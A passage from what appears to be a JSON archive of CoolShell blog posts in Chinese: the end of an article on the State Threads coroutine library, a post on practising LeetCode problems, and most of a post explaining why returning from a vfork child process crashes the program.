thread，相当于操作系统的就绪队列，跟传统EDSM对应起来就是注册回调以及激活回调。再比如模拟同步控制wait/sleep/lock的时候，当前thread会被放入SLEEPQ，直到被唤醒或者超时再次进入RUNQ以待调度。</p>\n<p><strong>ST的调度具备性能与内存双重优点</strong>：在性能上，ST实现自己的setjmp/longjmp来模拟调度，无任何系统开销，并且context（就是jmp_buf）针对不同平台和架构用底层语言实现的，可移植性媲美libc。下面放一段代码解释一下调度实现：</p>\n<pre class=\"EnlighterJSRAW\">/*\n * Switch away from the current thread context by saving its state \n * and calling the thread scheduler\n */\n#define _ST_SWITCH_CONTEXT(_thread)       \\\n    ST_BEGIN_MACRO                        \\\n    if (!MD_SETJMP((_thread)-&gt;context)) { \\\n      _st_vp_schedule();                  \\\n    }                                     \\\n    ST_END_MACRO\n\n/*\n * Restore a thread context that was saved by _ST_SWITCH_CONTEXT \n * or initialized by _ST_INIT_CONTEXT\n */\n#define _ST_RESTORE_CONTEXT(_thread)   \\\n    ST_BEGIN_MACRO                     \\\n    _ST_SET_CURRENT_THREAD(_thread);   \\\n    MD_LONGJMP((_thread)-&gt;context, 1); \\\n    ST_END_MACRO\n\nvoid _st_vp_schedule(void)\n{\n    _st_thread_t *thread;\n\n    if (_ST_RUNQ.next != &amp;_ST_RUNQ) {\n        /* Pull thread off of the run queue */\n        thread = _ST_THREAD_PTR(_ST_RUNQ.next);\n        _ST_DEL_RUNQ(thread);\n    } else {\n        /* If there are no threads to run, switch to the idle thread */\n        thread = _st_this_vp.idle_thread;\n    }\n    ST_ASSERT(thread-&gt;state == _ST_ST_RUNNABLE);\n\n    /* Resume the thread */\n    thread-&gt;state = _ST_ST_RUNNING;\n    _ST_RESTORE_CONTEXT(thread);\n}\n</pre>\n<p>如果你熟悉setjmp/longjmp的用法，你就知道当前thread在调用MD_SETJMP将现场上下文保存在jmp_buf中并返回返回0，然后自己调用_st_vp_schedule()将自己调度出去。调度器先从RUNQ上找，如果队列为空就找idle thread，这是在整个ST初始化时创建的一个特殊thread，然后将当前线程设为自己，再调用MD_LONGJMP切换到其上次调用MD_SETJMP的地方，从thread-&gt;context恢复现场并返回1，该thread就接着往下执行了。<strong>整个过程就同EDSM一样发生在操作系统单线程下，所以没有任何系统开销与阻塞。</strong></p>\n<p><strong>其实真正的阻塞是发生在等待I/O事件复用上，也就是select()/poll()，这是整个ST唯一的系统调用。</strong>ST当前的状态是，整个环境处于空闲状态，所有threads的请求处理都已经完成，也就是RUNQ为空。这时在_st_idle_thread_start维护了一个主循环（类似于event loop），主要负责三种任务：1.对IOQ所有thread进行I/O复用检测；2.对SLEEPQ进行超时检查；3.将idle thread调度出去，代码如下：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid *_st_idle_thread_start(void *arg)\n{\n    _st_thread_t *me = _ST_CURRENT_THREAD();\n\n    while (_st_active_count &gt; 0) {\n        /* Idle vp till I/O is ready or the smallest timeout expired */\n        _ST_VP_IDLE();\n\n        /* Check sleep queue for expired threads */\n        _st_vp_check_clock();\n\n        me-&gt;state = _ST_ST_RUNNABLE;\n        _ST_SWITCH_CONTEXT(me);\n    }\n\n    /* No more threads */\n    exit(0);\n\n    /* NOTREACHED */\n    return NULL;\n}</pre>\n<p>这里的me就是idle thread，因为_st_idle_thread_start就是创建idle thread的启动点，每从上次_ST_SWITCH_CONTEXT()切换回来的时候，接着在_ST_VP_IDLE()里轮询I/O事件的发生，一旦检测到发生了别的thread事件或者SLEEPQ里面发生超时，再用_ST_SWITCH_CONTEXT()把自己切换出去，如果此时RUNQ中非空的话就切换到队列第一个thread。这里主循环是不会退出的。</p>\n<p>在内存方面，<strong>ST的执行状态作为局部变量保存在栈上，而不是像回调需要动态分配，</strong>用户可能分别这样使用thread模式和callback模式：</p>\n<pre class=\"EnlighterJSRAW\">/* thread land */\nint foo()\n{\n    int local1;\n    int local2;\n    do_some_io();\n}\n\n/* callback land */\nstruct foo_data {\n    int local1;\n    int local2;\n};\n\nvoid foo_cb(void *arg)\n{\n    struct foo_data *locals = arg;\n    ...\n}\n\nvoid foo()\n{\n    struct foo_data *locals = malloc(sizeof(struct foo_data));\n    register(foo_cb, locals);\n}\n</pre>\n<h4>基于Mult-Threading范式</h4>\n<p>同样基于multi-threading编程范式，ST同其它线程库又有和有点呢？比如Posix Thread（以下简称PThread）是个通用的线程库，它是<strong>将用户级线程（thread）同内核执行对象（kernel execution entity，有些书又叫lightweight processes）做了1:1或m:n映射，</strong>从而实现multi-threading模式。<strong>而ST是单线程（n:1映射），它的thread实际上就是协程（coroutine）。</strong>通常的网络应用上，多线程范式绕不开操作系统，但在某些特定的服务器领域，线程间的共享资源会带来额外复杂度，锁、竞态、并发、文件句柄、全局变量、管道、信号等，面对这些Pthread的灵活性会大打折扣。<strong>而ST的调度是精确的，它只会在明确的I/O和同步函数调用点上发生上下文切换，这正是协程的特性，如此一来ST就不需要互斥保护了，进而也可以放心使用任何静态变量和不可重入库函数了</strong>（这在同样作为协程的Protothreads里是不允许的，因为那是stack-less的，无法保存上下文），极大的简化了编程和调试同时增加了性能。</p>\n<p>对于同样用户级线程如GNU Pth和MIT Phread比起来呢？有两点，一是ST的thread是<strong>无优先级的非抢占式调度</strong>，也就是说ST基于EDSM的，每个thread都是事件或数据驱动，迟早会把自己调度出去，而且调度点是明确的，并非按时间片来的，从而简化了thread管理；二是ST会<strong>忽略所有信号处理</strong>，在_st_io_init中会把sigact.sa_handler设为SIG_IGN，这样做是因为将thread资源最小化，避免了signal mask及其系统调用（在ucontext上是避免不了的）。但这并不意味着ST就不能处理信号，实际上ST建议将信号写入pipe的方式转化为普通I/O事件处理，示例详见<a href=\"http://state-threads.sourceforge.net/docs/notes.html#signals\" target=\"_blank\" title=\"signal handling\">这里</a>。</p>\n<p>这里顺便说一句，<strong>C语言实现的协程据我所知只有三种方式</strong>：Protothread为代表利用switch-case语义跳转，以ST为代表不依赖libc的setjmp/longjmp上下文切换，以及依赖glibc的ucontext接口（<a href=\"https://github.com/cloudwu/coroutine\" target=\"_blank\" title=\"云风的coroutine\">云风的coroutine</a>）。第一种最轻，但受限最大，第三种耗资源性能慢（陈皓注：glibc的ucontext接口的实现中有一个和信号有关的系统调用，所以会慢，估计在一些情况下会比pthread还慢），目前看来ST是最好使的。</p>\n<h4>基于多核环境</h4>\n<p>下面来聊聊ST在多核环境下的应用。服务器领域多核的优势在于实现了物理上真正的并发，所以如何充分利用系统优势也是线程库的一大难点。这对ST来说也许正是它的拿手好戏，前面提及ST曾作为Apache的多核引擎模块发布。这里要补充一下前面漏掉的ST的一个重要概念——<strong>虚拟处理器</strong>（virtual processor，简称vp），见图3，多个cpu通过内核的SMP模拟出多个“核”（core），一个core对应一个内核任务（kernel task），同时对应一个用户进程（process），一个process对应ST的一个vp，每个vp下就是ST的thread（是协程不是线程），结合前面所述，vp初始化先创建idle thread，然后根据I/O事件驱动其它threads，这就是ST的多核架构。</p>\n<p><img alt=\"multi-core\" class=\"aligncenter\" src=\"../wp-content/uploads/2014/10/st_app.gif\"/></p>\n<p>这里要指出的是，<strong>ST只负责自身thread调度，进程管理是应用程序的事情，</strong>也就是说由用户来决定fork多少进程，每个进程分配多少资源，如何进行IPC等。这种架构的好处就是每个vp有自己独立的空间，避免了资源同步竞态（比如杜绝了多进程里的多线程这样混乱的模型）。我们知道这种<strong>基于进程的架构是非常健壮的，一个进程奔溃不会影响到其它进程，同时充分利用多核硬件的高并发。</strong>同时对于具体逻辑业务使用vp里的thread处理，这是基于EDSM的，如此一来做到了<strong>逻辑业务与内核执行对象之间的解耦</strong>，没必要因为1K个连接去创建1K的进程。这就是ST的扩展性和灵活性。</p>\n<h4>使用限制</h4>\n<p>ST的主要限制在于，应用程序所有I/O操作必须使用ST提供的API，因为只有这样thread才能被调度器管理，并且避免阻塞。</p>\n<p>另一个限制在于thread调试，这本身不容易，好在v1.9的ST提供了DEBUG参数，使用TREADQ以及_st_iterate_threads接口检测thread调度情况，用户还可自定义_st_show_thread_stack接口dump每个thread的栈，在GDB使能_st_iterate_threads_flag变量，这些都在Readme中对调试方法有具体说明。按下不表。</p>\n<h4>总结</h4>\n<p>这篇文章写得有点短了，主要是通过对比来介绍ST的，其实还有大段原理可以讲，大段源码以及实战用例可以贴，但这一下子又写不过来，ST还是有点技术含量的。说白了，<strong>ST的核心思想就是利用multi-threading的简单优雅范式胜过传统异步回调的复杂晦涩实现，又利用EDSM的性能和解耦架构避免了multi-threading在系统上的开销和暗礁。</strong>学习ST告诉我们一个道理：<strong>未来技术的趋势永远都是融合的。</strong></p>\n<h4>参考</h4>\n<ul>\n<li>在<a href=\"http://sourceforge.net/projects/state-threads/files/\" target=\"_blank\" title=\"sourceforge源码\">SourceForge</a>以及<a href=\"https://github.com/winlinvip/state-threads\" target=\"_blank\" title=\"github源码\">github</a>上的源码：前者有历史版本及win32版本，后者只有v1.9。</li>\n</ul>\n<ul>\n<li><a href=\"http://state-threads.sourceforge.net/docs/st.html\" target=\"_blank\" title=\"State Threads for Internet Applications\">State Threads for Internet Applications</a>：介绍原理的，值得一看，<a href=\"http://blog.csdn.net/win_lin/article/details/8242653\" target=\"_blank\" title=\"中文翻译\">这里</a>有篇中文翻译附加单元测试（在单CPU 512M内存上创建数万个thread，CPU占用率约5%，内存约4.3K/thread）。</li>\n</ul>\n<ul>\n<li><a href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\" title=\"State Threads Library FAQ\">State Threads Library FAQ</a>：本文基于此而写。</li>\n</ul>\n<ul>\n<li><a href=\"http://state-threads.sourceforge.net/docs/reference.html\" target=\"_blank\" title=\"API手册\">Complete reference</a>：API完全手册。</li>\n</ul>\n<ul>\n<li><a href=\"http://state-threads.sourceforge.net/docs/notes.html\" target=\"_blank\" title=\"注意事项\">Programing Notes</a>：编程注意事项，包括信号处理，IPC，非网络I/O事件等。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/10975.html\"><img alt=\"一个“蝇量级” C 语言协程库\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/10975.html\">一个“蝇量级” C 语言协程库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8309.html\"><img alt=\"C/C++语言中闭包的探究及比较\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8309.html\">C/C++语言中闭包的探究及比较</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-10-23 Leetcode 编程训练.html",
    "content": "<html><body><p><img alt=\"LeetCodeLogo (1)\" class=\"alignright wp-image-12054 size-full\" height=\"100\" src=\"../wp-content/uploads/2014/10/LeetCodeLogo-1.png\" width=\"121\"/>Leetcode这个网站上的题都是一些经典的公司用来面试应聘者的面试题，很多人通过刷这些题来应聘一些喜欢面试算法的公司，比如：Google、微软、Facebook、Amazon之类的这些公司，基本上是应试教育的功利主义。</p>\n<p>我做这些题目的不是为了要去应聘这些公司，而是为了锻炼一下自己的算法和编程能力。因为我开始工作的时候基本没有这样的训练算法和编程的网站，除了大学里的“算法和数据结构”里的好些最基础最基础的知识，基本上没有什么训练。所以，当我看到有人在做这些题的时候，我也蠢蠢欲动地想去刷一下。</p>\n<p>于是，我花了3-4个月的业余时间，我把<a href=\"https://oj.leetcode.com/problems/\" target=\"_blank\">Leetcode的154道题</a>全部做完了。（这也是最近我没有太多的时间来写博客的原因，你可以看到我之前<a href=\"https://coolshell.cn/articles/11847.html\" target=\"_blank\" title=\"谜题的答案和活动的心得体会\">做的那个活动</a>中有几个算法题来自于Leetcode）有人说我时间太多了，这里声明一下，我基本上都是利用了晚上10点以后的时间来做这些题的。</p>\n<p>LeetCode的题大致分成两类：</p>\n<p style=\"padding-left: 30px;\"><strong>1）基础算法的知识</strong>。这些题里面有大量的算法题，解这些题都是有套路的，不是用递归（深度优先DFS，广度优先BFS），就是要用动态规划（Dynamic Programming），或是拆半查找（Binary Search），或是回溯（Back tracing），或是分治法（Divide and Conquer），还有大量的对树，数组、链表、字符串和hash表的操作。<strong>通过做这些题能让你对这些最基础的算法的思路有非常扎实的了解和训练</strong>。对我而言，Dynamic Programming 是我的短板，尤其是一些比较复杂的问题，在推导递推公式上总是有思维的缺陷（数学是我的硬伤），通过做了这些题后，我能感到我在DP的思路上有了很大的收获。</p>\n<p style=\"padding-left: 30px;\"><strong>2）编程题</strong>。比如：atoi，strstr，add two num，括号匹配，字符串乘法，通配符匹配，文件路径简化，Text Justification，反转单词等等，这些题的Edge Case, Corner Case有很多。这些题需要你想清楚了再干，只要你稍有疏忽，就会有几个case让你痛不欲生，而且一不小心就会让你的代码会写得又臭又长，无法阅读。<strong>通过做这些题，可以非常好的训练你对各种情况的考虑，以及你对程序代码组织的掌控（其实就是其中的状态变量）。</strong>还记得我在《<a href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\" title=\"函数式编程\">函数式编程</a>》中说的，程序中的状态是你程序变得复杂难维护的直接原因。</p>\n<p>我觉得每个程序员都应该花时间和精力做这些题，因为你会从这些题中得到很大的收益。做完这些题后你一定会明白下面几个道理：</p>\n<p><span id=\"more-12052\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>1）想清楚了再干</strong>。这个观点我以前就在《<a href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\" title=\"多些时间能少写些代码\">多些时间可以少些代码</a>》说过。如果你拿到题就上去直接写代码的话，你一定会被各种case打回来了。然后呢，你一着急，你就会进入那种我在《<a href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\" title=\"开发团队的效率\">开发团队的效率</a>》中说的那种毫无效率case by case的开发模式，而你也进入了“平庸模式”。于是你就会出现下图那样的情况。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_12053\" style=\"width: 440px;\"><img alt=\"Case-by-Case Developement\" class=\"size-full wp-image-12053\" height=\"231\" src=\"../wp-content/uploads/2014/10/bug_fixing.gif\" width=\"440\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-12053\">Case-by-Case Development</figcaption></figure>\n<p style=\"padding-left: 30px;\"><strong>2) 编程是脑力劳动，急不得</strong>。这个事情在这做这些题的时候你就会发现，要么是脑子转不过来了，要么就是明明就差一点了，但程序怎么都调不对。如果你越着急的话，你就会发现你会离目标越远，而花的时间也会更多。另外，你会发现这些题基本上都是50行代码内就可以搞定的，但是为了这50行以内的代码，你要花好多时间和精力。coding  50行代码在我们的日常工作中分分钟就完成，而Leetcode里的50行代码却没那么简单，也许，用这个你就可以区别什么是码农，什么是程序员了。</p>\n<p style=\"padding-left: 30px;\"><strong>3）加班要不得。</strong>因为我总是在晚上10点以后做题，所以，基本上都是在加班状态中工作。这种状态过上两三天，你就会发现，整个大脑已经不转了，而且不但不转，还会犯很多低级错误，很多事情都想不清楚，一个晚上都在和程序的状态控制做搏斗，代码写得越来越乱，越来越没条理。于是这种时候，我都会休息几天，不做题了，然后再做题的时候，就觉得非常地清楚。可见加班 是编程最致命的敌人！</p>\n<p>我把我的C++代码放到了Github上，大家也帮我review一下，看看有没有可以改善的。</p>\n<p style=\"text-align: center;\"><strong><a href=\"https://github.com/haoel/leetcode\" target=\"_blank\">https://github.com/haoel/leetcode</a></strong></p>\n<p>好了，不多说了，<strong>我希望大家有时间都去练练LeetCode，无论是找工作还是对你的编程能力会有非常大的提高</strong>。</p>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9543.html\"><img alt=\"“C++的数组不支持多态”？\" height=\"150\" src=\"../wp-content/uploads/2013/04/weibo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9543.html\">“C++的数组不支持多态”？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8790.html\"><img alt=\"程序算法与人生选择\" height=\"150\" src=\"../wp-content/uploads/2012/12/choice-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-11-20 vfork 挂掉的一个问题.html",
    "content": "<html><body><p><img alt=\"tux-fork\" class=\"alignright wp-image-12105\" height=\"200\" src=\"../wp-content/uploads/2014/11/tux-fork-298x300.gif\" width=\"199\"/>在知乎上，有个人问了这样的<a href=\"http://www.zhihu.com/question/26591968\" target=\"_blank\">一个问题</a>——为什么vfork的子进程里用return，整个程序会挂掉，而且exit()不会？并给出了如下的代码，下面的代码一运行就挂掉了，但如果把子进程的return改成exit(0)就没事。</p>\n<p>我受邀后本来不想回答这个问题的，因为这个问题明显就是RTFM的事，后来，发现这个问题放在那里好长时间，而挂在下面的几个答案又跑偏得比较严重，我觉得可能有些朋友看到那样的答案会被误导，所以就上去回答了一下这个问题。</p>\n<p>下面我把问题和我的回答发布在这里，也供更多的人查看。</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\nint main(void) {\n    int var;\n    var = 88;\n    if ((pid = vfork()) &lt; 0) {\n        printf(\"vfork error\");\n        exit(-1);\n    } else if (pid == 0) { /* 子进程 */\n        var++;\n        return 0;\n    }\n    printf(\"pid=%d, glob=%d, var=%d\\n\", getpid(), glob, var);\n    return 0;\n}\n</pre>\n<p><span id=\"more-12103\"></span></p>\n<h4><b>基础知识</b></h4>\n<p>首先说一下fork和vfork的差别：</p>\n<ul>\n<li>fork 是 创建一个子进程，并把父进程的内存数据copy到子进程中。</li>\n<li>vfork是 创建一个子进程，并和父进程的内存数据share一起用。</li>\n</ul>\n<p>这两个的差别是，一个是copy，一个是share。（关于fork，可以参看酷壳之前的《<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\" title=\"一个fork的面试题\">一道fork的面试题</a>》）</p>\n<p>你 man vfork 一下，你可以看到，vfork是这样的工作的，</p>\n<p style=\"padding-left: 30px;\">1）保证子进程先执行。<br/>\n2）当子进程调用exit()或exec()后，父进程往下执行。</p>\n<p>那么，为什么要干出一个vfork这个玩意？ 原因在man page也讲得很清楚了：</p>\n<blockquote><p><strong>Historic Description</strong></p>\n<p>Under Linux, fork(2) is implemented using copy-on-write pages, so the only penalty incurred by fork(2) is the time and memory required to duplicate the parent’s page tables, and to create a unique task structure for the child. <b>However, in the bad old days a fork(2) would require making </b><b>a complete copy of the caller’s data space, often needlessly, since usually immediately afterwards an exec(3) is done. Thus, for greater efficiency, BSD introduced the vfork() system call, which did not fully copy the address space of the parent process, but borrowed the parent’s mem</b><b>ory and thread of control until a call to execve(2) or an exit occurred.</b> The parent process was suspended while the child was using its resources. The use of vfork() was tricky: for example, not modifying data in the parent process depended on knowing which variables are held in a register.</p></blockquote>\n<p>意思是这样的—— <b>起初只有fork，但是很多程序在fork一个子进程后就exec一个外部程序，于是fork需要copy父进程的数据这个动作就变得毫无意了，而且这样干还很重</b>（注：后来，fork做了优化，详见本文后面）<b>，所以，BSD搞出了个父子进程共享的 vfork，这样成本比较低。因此，vfork本就是为了exec而生。</b></p>\n<h4><b>为什么return会挂掉，exit()不会？</b></h4>\n<p>从上面我们知道，<b>结束子进程的调用是exit()而不是return，如果你在vfork中return了，那么，这就意味main()函数return了，注意因为函数栈父子进程共享，所以整个程序的栈就跪了。</b></p>\n<p>如果你在子进程中return，那么基本是下面的过程：</p>\n<p style=\"padding-left: 30px;\"><b>1）子进程的main() 函数 return了，于是程序的函数栈发生了变化。</b></p>\n<p style=\"padding-left: 30px;\"><b>2）而main()函数return后，通常会调用 exit()或相似的函数</b>（如：_exit()，exitgroup()）</p>\n<p style=\"padding-left: 30px;\"><b>3）这时，父进程收到子进程exit()，开始从vfork返回，但是尼玛，老子的栈都被你子进程给return干废掉了，你让我怎么执行？</b>（注：栈会返回一个诡异一个栈地址，对于某些内核版本的实现，直接报“栈错误”就给跪了，然而，对于某些内核版本的实现，于是有可能会再次调用main()，于是进入了一个无限循环的结果，直到vfork 调用返回 error）</p>\n<p>好了，现在再回到 return 和 exit，return会释放局部变量，并弹栈，回到上级函数执行。exit直接退掉。如果你用c++ 你就知道，return会调用局部对象的析构函数，exit不会。（注：exit不是系统调用，是glibc对系统调用 _exit()或_exitgroup()的封装）</p>\n<p>可见，<b>子进程调用exit() 没有修改函数栈，所以，父进程得以顺利执行</b>。</p>\n<p><strong>但是！注意！如果你调用 exit() 函数，还是会有问题的，正确的方法应该是调用 _exit() 函数，因为 exit() 函数 会 flush 并 close 所有的 标准 I/O ，这样会导致父进程受到影响。（这个情况在fork下也会受到影响，会导致一些被buffer的数据被flush两次，这里可以参看《<a href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">一个fork的面试题</a>》）</strong></p>\n<h4>关于fork的优化</h4>\n<p>很明显，fork太重，而vfork又太危险，所以，就有人开始优化fork这个系统调用。优化的技术用到了著名的<b>写时拷贝（COW）</b>。</p>\n<p>也就是说，<strong>对于fork后并不是马上拷贝内存，而是只有你在需要改变的时候，才会从父进程中拷贝到子进程中，这样fork后立马执行exec的成本就非常小了</strong>。所以，Linux的Man Page中并不鼓励使用vfork() ——</p>\n<blockquote><p>“ It is rather unfortunate that Linux revived this specter from the past. The BSD man page states: “This system call will be eliminated when proper system sharing mechanisms are implemented. Users should not depend on the memory sharing semantics of vfork() as it will, in that case, be made synonymous to fork(2).””</p></blockquote>\n<p>于是，从BSD4.4开始，他们让vfork和fork变成一样的了</p>\n<p>但在后来，NetBSD 1.3 又把传统的vfork给捡了回来，说是vfork的性能在 Pentium Pro 200MHz 的机器（这机器好古董啊）上有可以提高几秒钟的性能。详情见——“<a class=\"wrap external\" href=\"http://www.netbsd.org/docs/kernel/vfork.html\" rel=\"nofollow noreferrer\" target=\"_blank\">NetBSD Documentation: Why implement traditional vfork()<i class=\"icon-external\"></i></a>”</p>\n<p>今天的Linux下，fork和vfork还是各是各的，不过，还是建议你不要用vfork，除非你非常关注性能。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" 